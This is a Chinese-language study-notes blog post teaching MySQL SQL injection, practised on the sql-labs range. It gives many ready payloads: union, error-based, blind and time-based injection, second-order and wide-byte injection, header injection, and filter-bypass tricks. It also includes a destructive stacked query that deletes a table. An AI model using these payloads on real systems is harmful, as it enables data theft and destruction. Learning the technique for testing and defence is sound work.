自学了这么久,零零散散的做了很多的笔记,但是都比较混乱,趁着没事整理一下,可能有很多没说到的或者是说错了的,还请表哥们补充斧正。
排版不太好看= =客官们请见谅。
2.SQL基本语法
3.SQL注入原理
4.SQL注入分类
5.绕过方式
结构化查询语言(Structured Query Language)简称SQL,是一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统;同时也是数据库脚本文件的扩展名。
数据库有很多种,Oracle啊,mysql啊,mssql啊,access啊等等,语法上稍有不同,但是语法结构和拼接思路是一样的。一般php对应的就是mysql,asp和aspx对应的就是mssql,有时候也是access。下面就只说最常见的mysql。(mysql5.0以上和5.0以下不一样,mysql5.0以下和access差不多,下面说的是mysql5.0以上的。)
刚开始学mysql的SQL注入,语法上只需要知道几个小的知识点就行了。
SELECT username,password FROM users WHERE id=1;
(这是从users表里面查询id=1的用户名和密码)
(表哥们不用想着解密了-这是靶场的账号密码)
SELECT username,password from users where id=1 union select
1,database();
(这个union select 是联合注入的语法,具体的可以去菜鸟教程自己学),看看效果:
这里在查询账号密码的同时,我们还查询了我们的数据库名。(注意使用联合注入的时候,前后的参数个数要一致,比如username和password是两个,所以联合查询后面我在database()前面加了个1)
在php中,一般会用$_GET[‘id’]或者$_POST[‘id’]来接收传入的id,比如这样:(这里是先通过GET获取了id参数的值,然后把id传给了那条数据库语句让它查询)
看到这里,我们该如何去达到攻击的目的呢?我们要攻击,无非就是增删查改数据。这里说说我们如何通过传入的这个id参数值达到我们的目的。
从这个php代码里面看到,它并没有限制我们传进入的id参数必须是数字,我们为什么不能传入字符呢?
那么我们这个时候就应该想到了上面的那个联合注入语句,假如我们传入:id=1 union select 1,database(); 呢?那么原来的语句是不是就从
SELECT username,password FROM users WHERE id=1;
变成了
SELECT username,password from users where id=1 union select
1,database();
这样我们是不是就能随意查看数据库里面的内容了?原理大概就是这样,通过拼接SQL语句达到我们的一些目的。
id=1’ union select 1,2#
这样子闭合,这里的知识点又可以扩散开了= =是不是写太多了。
关于单引号的闭合,有这么几种方法:
id=1’ union select 1,2 and ‘1’='1
或者
id=1’ union select 1,2#
或者
id=1’ union select 1,2–+
这个#和–+ 在sql语句里面是注释的意思,因为我们闭合了前面的那个单引号,但是后面还剩一个单引号,不想办法处理它的话就会报错。
搜索型的也差不多:
id=1%’ union select 1,2 and ‘%’=’
?id=1%27 and extractvalue(1,concat(0x7e,(select database())))–+
普通的盲注:就是无论我们怎么输入,它都不会爆出我们想查询的内容,但是假如我们的查询语句是true或者不为空它会返回正常的界面,是false它就会返回空白的界面。这里会用到count 、 length 、 substr 、 ascii等函数。
一些payload:
id=1 and ascii(substr((database()),1,1)>1
(这里就是判断数据库名的第一位的ascii码值是否大于1,其他的以此类推。
时间盲注:
上面那是普通的盲注,时间盲注就是根据页面返回的时间来判断的,比如
id=1 and if((length(database())>1,sleep(3),1)
意思就是加入数据库名的长度大于1就延迟3秒,否则不延迟。
还有很多其他类型的注入:
比如我注册了一个账号admin’# ,当它进入php代码中时是 admin’# ,单引号被转义了,但是当它被insert 进数据库后, 是 admin’# 。有人会说这样又什么用呢?
我们登录上去,来到修改密码界面,修改密码的sql语句是:
update users set password=’$pwd’ where username=’$username’
我们修改admin’#的密码会怎么样?sql语句会变成这样子:
update users set password=‘123456’ where username=‘admin’#’
这样子拼接起来就变成了更改admin的密码,而不是admin’#的密码。
有人可能会问了,这样子不是可以直接注入吗?所以有个前提条件是:它的代码不信任我们的输入,但是信任了从数据库里拿出来的数据,这就导致了二次注入。
id=1%df’ and …
这里的语句被放进php里之后就是
id=1%df\’ and …
然后因为编码问题,%df’被传入数据库之后,数据库的编码会认为%df\是一个汉字(%df的ascii码值大于128,所以被当成是汉字的开头),在数据里的语句就是id=1運’ ,导致单引号逃出来了。
我们知道 “;” 在sql语句里代表一条语句的结束。那么我们利用payload:
id=1’;DELETE FROM news;–+
这样的话我们就能执行危害更大的语句了,请自行发挥。
还有很多header头注入:主要是看服务器端对那些header头进行了数据库操作。常见的就是cookie、xff、referer这些了。
注入的方式和普通的注入没多大区别,有时候cookie可能需要你base64加解密一下。
这样子:
Cookie: id=1 and 1=1
还有很多奇葩的方法和细节没有写,都写出来显得太乱了。 比如伪静态页面:/xxx/123.html 把.html去掉后发现页面还是返回正常,说明这是伪静态的,可以试一试看。
id=1 uniunion seselectlect …
2.大小写绕过
id=1 UnIoN SeLeCt …
3.编码绕过
%69%64=%31%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74
4.宽字节绕过
id=1%df’ union …
5.内联注入绕过
id=1 /!*union*/ …
6.括号绕过(不使用空格)
?id=0%27||(select(count(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))>1||%271%27=%272
7.等号被过滤
用<> 或者 like 或者 between
…等等等
写马也可能用到sql,提权也可能用到sql。还有挺多的,太多太杂了。
建议大家把sql-labs刷一遍,刚好我的另一篇文章有答案,hiahiahia。
有写错的地方或者需要补充的地方请大家指出来,排版很难看- -见谅。